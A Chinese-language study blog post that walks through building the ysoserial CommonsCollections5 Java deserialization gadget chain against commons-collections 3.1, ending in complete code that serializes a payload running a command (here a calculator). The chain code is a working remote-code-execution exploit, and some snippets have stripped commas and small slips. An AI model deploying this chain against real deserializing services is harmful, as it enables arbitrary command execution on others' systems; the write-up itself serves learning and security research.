java反序列化学习记录-Common Collection
Referer
https://y4er.com/post/ysoserial-commonscollections-5/
https://www.jianshu.com/p/d4954c691d09
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java
https://www.freebuf.com/news/150872.html
环境搭建
idea创建一个maven项目,在pom.文件中加入commons-collections依赖。
<? version="1.0" encoding="UTF-8"?>
<project ns="http://maven.apache.org/POM/4.0.0"
ns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>ysoserialPayload</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
</project>
创建packagepayload
创建java文件CommonsCollections5
写测试代码
package payload;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class CommonsCollections5 {
public static void main(String[] args) {
deserialize();
}
public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}
下载ysoserial
https://github.com/frohoff/ysoserial
mvn clean package -DskipTests
ubuntu gnome 测试
打开计算器命令为gnome-calculator
生成payload
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 gnome-calculator > test.ser
将test.ser
放到项目根目录
运行CommonsCollections5.java
的main方法,成功弹出计算器
java 的执行系统命令
Runtime模块
import java.io.IOException; public class hello { public static void main(String[] args) throws IOException { String [] cmd={"/bin/sh""-c""curl localhost:9999"}; Process proc = Runtime.getRuntime().exec(cmd); } }
反射链使用
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class world { public static void main(String[] args) throws NoSuchMethodException InvocationTargetException IllegalAccessException { Method method = Animal.class.getDeclaredMethod("print"); Animal aa = new Animal(); method.invoke(aa); } } class Animal { public void print() { System.out.println("Animal.print()"); } }
反射链调用Runtime执行命令
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test { public static void main(String[] args) throws NoSuchMethodException InvocationTargetException IllegalAccessException { Runtime runtime = Runtime.getRuntime(); Class cls = runtime.getClass(); Method method = cls.getMethod("exec"String.class); method.invoke(runtime"gnome-calculator"); } }
可以执行两次反射
public class test2 { public static void main(String[] args) throws Exception { Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime"new Class[]{}).invoke(null); Class.forName("java.lang.Runtime").getMethod("exec"String.class).invoke(runtime"gnome-calendar"); } }
getMethod("方法""方法类型");invoke("对象实例","参数");
Payload 构造
然后看
org.apache.commons.collections.functors.InvokerTransformer
transform
方法
public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName this.iParamTypes); return method.invoke(input this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception" var7); } } }
可以看到
Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName this.iParamTypes); return method.invoke(input this.iArgs);
getClass
有了,getMethod
有了,invoke
有了
我们需要将input
设置为Runtime.getRuntime()
this.iMethodName
设置为exec,this.iArgs设置为要执行的命令
尝试一下
package payload; import org.apache.commons.collections.functors.InvokerTransformer; public class test { public static void main(String[] args) { InvokerTransformer invokerTransformer = new InvokerTransformer("exec" new Class[]{String.class} new Object[]{new String("gnome-calculator")}); Object result = invokerTransformer.transform(Runtime.getRuntime()); } }
ubuntu18成功弹出了计算器
我们需要构造
(Runtime) Runtime.class.getMethod("getRuntime").invoke(null).exec("gnome-calculator")Runtime.class 需要用ConstantTransformer来获取
可以看到runtime
就是Runtime对象类型
InvokerTransformer
按照
InvokerTransformer(String methodName Class[] paramTypes Object[] args)
格式构造
getMethod方法文档
https://docs.oracle.com/javase/8/docs/api/java/lang/Class.html
参数为String.class
和Class[].class
由参数类型决定
来试试构造反射链(引用包省略了)
首先获取Runtime
//获取Runtime Object first = new ConstantTransformer(Runtime.class).transform(new Class[]{});
用反射让其执行getRuntime
//给this.iMethodName this.iParamTypes this.iArgs赋值 InvokerTransformer tran1 = new InvokerTransformer("getMethod" new Class[]{String.class Class[].class} new Object[]{"getRuntime" null}); //执行反射方法 Method run = (Method) invokerTransformer.transform(first);
invoke
invoke(Object objObject...args)
InvokerTransformer tran2 = new InvokerTransformer("invoke" new Class[]{Class[].class Class[].class} new Object[]{null null}); //执行反射方法 Runtime run = (Runtime) invokerTransformer.transform(first);
最后反射执行exec("gnome-calculator")
InvokerTransformer tran1 = new InvokerTransformer("exec" new Class[]{String.class} new Object[]{"gnome-calculator"});
完整就是
public class test3 { public static void main(String[] args) throws Exception { Object first = new ConstantTransformer(Runtime.class).transform(new Class[]{}); InvokerTransformer tran1 = new InvokerTransformer("getMethod" new Class[]{String.class Class[].class} new Object[]{"getRuntime" null}); Method run = (Method) tran1.transform(first); InvokerTransformer tran2 = new InvokerTransformer("invoke" new Class[]{Object.class Object[].class} new Object[]{null null}); Runtime run2 = (Runtime) tran2.transform(run); InvokerTransformer tran3 = new InvokerTransformer("exec" new Class[]{String.class} new Object[]{"gnome-calculator"}); tran3.transform(run2); } }
我们这里序列化了InvokerTransformer
类,但是需要继续执行他的transform
方法,于是需要ChainedTransformer
的transform
ChainedTransformer
关键代码
public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } public Object transform(Object ) { for(int i = 0; i < this.iTransformers.length; ++i) { = this.iTransformers[i].transform(); } return ; }
这里将this.iTransformers
的每一组元素都执行了transform
方法,我们只需将this.iTransformers
的每一项都设置为InvokerTransformer
就可以了,最后再把ChainedTransformer
对象执行一下transform
方法
public class test3 { public static void main(String[] args) throws Exception { Object first = new ConstantTransformer(Runtime.class).transform(new Class[]{}); InvokerTransformer tran1 = new InvokerTransformer("getMethod" new Class[]{String.class Class[].class} new Object[]{"getRuntime" null}); Method run = (Method) tran1.transform(first); InvokerTransformer tran2 = new InvokerTransformer("invoke" new Class[]{Object.class Object[].class} new Object[]{null null}); Runtime run2 = (Runtime) tran2.transform(run); InvokerTransformer tran3 = new InvokerTransformer("exec" new Class[]{String.class} new Object[]{"gnome-calculator"}); tran3.transform(run2); } }
成了
为了反序列化之后直接触发这一系列操作,链最开始的类要有一个readObject
方法,这样才能重写了反序列化的readObject
方法接着继续寻找调用transform
org.apache.commons.collections.map.LazyMap
public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = this.factory.transform(key); super.map.put(key value); return value; } else { return super.map.get(key); } }
寻找执行get
方法
org.apache.commons.collections.keyvalue.TiedMapEntry
public Object getValue() { return this.map.get(this.key); } public String toString() { return this.getKey() + "=" + this.getValue(); }
getValue调用了get方法,toString又调用了getValue方法,正好BadAttributeValueExpException类重写了readObject,并且readObject执行了toString方法
public String toString() { return "BadAttributeValueException: " + val; } private void readObject(ObjectInputStream ois) throws IOException ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { // the serialized is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
继续接上面构造
LazyMap
的this.factory
设置为ChainedTransformer
对象
public static Map decorate(Map map Transformer factory) { return new LazyMap(map factory); }
decorate
第一个参数需要Map
类型,网上找了一下都是new HashMap();
第二个参数是Transformer
,也就是之前的chain
Map map = new HashMap(); Map lazymap = LazyMap.decorate(map chain);
接着将TiedMapEntry
中的this.map
设置为lazymap
TiedMapEntry
TiedMapEntry entry = new TiedMapEntry(lazyMapnull);
接着设置BadAttributeValueExpException
中的val
为entry
利用反射设置private
参考https://blog.csdn.net/mrlixirong/article/details/6759715
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field field = badAttributeValueExpException.getClass().getDeclaredField("name"); field.setAccessible(true); field.set(badAttributeValueExpExceptionentry);
完整的代码
package payload; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class buildser { public static void main(String[] args) throws NoSuchFieldException IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class) new InvokerTransformer("getMethod" new Class[]{String.class Class[].class} new Object[]{"getRuntime" null}) new InvokerTransformer("invoke" new Class[]{Object.classObject[].class} new Object[]{nullnull}) new InvokerTransformer("exec" new Class[]{String.class} new String[]{"gnome-calculator"}) }; Transformer chain = new ChainedTransformer(transformers); Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map chain); TiedMapEntry entry = new TiedMapEntry(lazyMapnull); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field field = badAttributeValueExpException.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpExceptionentry); serialize(badAttributeValueExpException); } public static void serialize(Object obj) { try { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser")); os.writeObject(obj); os.close(); } catch (Exception e) { e.printStackTrace(); } } public static void deserialize() { try { ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser")); is.readObject(); } catch (Exception e) { e.printStackTrace(); } } }
总结
因为java基础太差了,分析的很慢,接下来想分析fastjson和CVE-2020-2555
和2551
来提高java审计水平
